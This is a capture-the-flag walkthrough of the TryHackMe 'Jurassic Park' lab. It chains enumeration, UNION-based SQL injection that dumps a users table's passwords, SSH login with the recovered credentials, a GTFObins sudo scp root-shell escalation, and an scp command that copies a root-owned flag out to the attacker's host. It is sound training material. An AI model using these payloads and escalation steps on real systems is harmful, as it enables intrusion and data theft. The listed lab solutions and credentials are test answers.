THM - Jurassic Park

Linux | SQLi |

Tools For This Room

• SQL injection

TL;DR / Executive Summary

1. Scan and enumerate with nmap and gobuster

2. Perform SQLi on webpage for credentials

3. Connect via SSH

4. Privesc by checking which functions can be run as sudo without a password

Scanning & Enumeration

Let's start with the the standard scans of nmap and gobuster

• nmap

nmap -sV -sC -vv <IP>

And the following ports are open to us: 21: FTP 80: HTTP

• gobuster

gobuster dir -u http://<IP> -w <wordlist>

In our case, let's use dirb's common.txt wordlist. The results show some interesting directories which we'll definitely check out:

We head over to port80 and find a cool webpage (with a spelling error which reminds me of Jarate from TF2):

Clicking on "online shop" leads us to a page with various packages:

Checking out the packages do not yield any purchase page or any other links, but it does provide a free way to disappear your neighbor's annoying kid:

One thing to note is that every page of each package appears to have the same layout with only a few fields changing such as the package name, price, packages sold, and description. Additionally, we'll notice that each package is assigned an ID of 1, 2, or 3 in the URL. We'll come back to explore this later after further enumeration.

The "/delete" directory provides an insight that the webpage is running on MySQL:

The "/robots.txt" directory only gives a single word: Wubbalubbadubdub. This could be a password, so let's just note it down. The "robots.txt" file is a file which usually contains instructions for web crawlers on if/how the page should be crawled, and is usually an easy place to check out for any clues.

Since there doesn't appear to be any credentials laying around which we could use to SSH in over port22, let's dive deeper into the packages we saw earlier. According to the OWASP Top 10, the most common web app risk is injection attacks such as SQL, NoSQL, LDAP, etc. It could be a good bet that a SQLi may yield a foothold or reveal credentials through dumping the database.

Let's start by manipulating the ID in the URL. We know that 1-3 corresponds to existing packages, but ID 4 leads to this page:

Jackpot on ID 5! We get some hints on which characters won't work in our SQLi.

Now let's try a standard SQLi, by inputting the following in the URL.

' or 1=1

As a quick refresher as to how this SQLi works, the single quotation mark (') is used to close the quotation, and break out of the query. Once we've broken out of the query, we can enter a custom command (or 1=1). This command is interpreted as TRUE in SQL, and will result in the database's contents being returned to us. While the resulting page shows Dennis taunting us, it suggests that we're on the right path:

Let's try an ORDER SQLi to determine how many columns the database has. This will involve increasing the numbers by 1, until we encounter an error.

ORDER BY 1,2,3,4,5

The error occurs at 6, meaning that we have 5 columns in the table.

With this new information, let's try a UNION attack to see which fields the 5 columns correspond to:

UNION ALL SELECT 1,2,3,4,5

Now that we know which fields correspond to the columns, let's try to get some basic information by replacing the numbers with commands. However, let's avoid using column 3 as the $ sign may interfere with the output.

First, we can try to get the database's name:

UNION ALL SELECT 1,database(),3,4,5

And we learn that it's "park".

Now we can try to get the version:

UNION ALL SELECT 1,version(),3,4,5

And here it is:

Next, let's see what tables are available:

union select 1,group_concat(table_name), 3,4,5 from information_schema.tables where table_schema = database()

We get the tables "items" and "users":

From the "users" table, let's find out what columns there are:

union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_schema = database() and table_name = "users"

Here they are.

Interesting that one of the columns is "password", let's see what it contains:

UNION SELECT 1,password,3,4,5 from users

We're rewarded with a password! Ironic at first, but considering Dennis' fate in the movies, maybe his sentiments are justified.

Gaining Foothold

Now that we have both a username and password (dennis/ih8dinos), let's try connecting with SSH.

ssh dennis@<IP> -p 22

And we're in:

Privilege Escalation

We can run our usual array of low-hanging fruit privesc checks, but we'll focus on "sudo -l" for this room.

Interesting that the Scp tool is open to us. Scp is a tool for securely transferring files, and uses the same security mechanisms as SSH to do so. Let's check out the trusty GTFObins to see if there's an exploit available here.

Looks like we have a winner! GTFObins provides the following to privesc:

TF=$(mktemp)
echo 'sh 0<&2 1>&2' > $TF
chmod +x "$TF"
sudo scp -S $TF x y:

And we're now root.

Flags

Flag 1: Once we've SSH-ed in, we can see flag1.txt listed as one of the many files available with a quick "ls -la"

Flag 2: Among the other files, one which stands out is .viminfo. Checking that out reveals the locations of flags 2 and 4.

Flag 3: One of the few things privesc tricks we can try includes running the "history" command. In this case, it yields flag3.

Flag 4: There is no Flag 4.

Flag 5: Once we've successfully escalated our privileges, we can hop over to root and get flag5.txt.

Alternative: - once we've discovered we can run /usr/bin/scp without a password, we can use scp to copy flag5 to our attacking machine - start SSH server on our attacking machine

systemctl start ssh.socket

- download the file

sudo scp /root/flag5.txt <yourusername>@<yourIP>:<yourdirectory>

* Credits to Yebberdog for the alternative *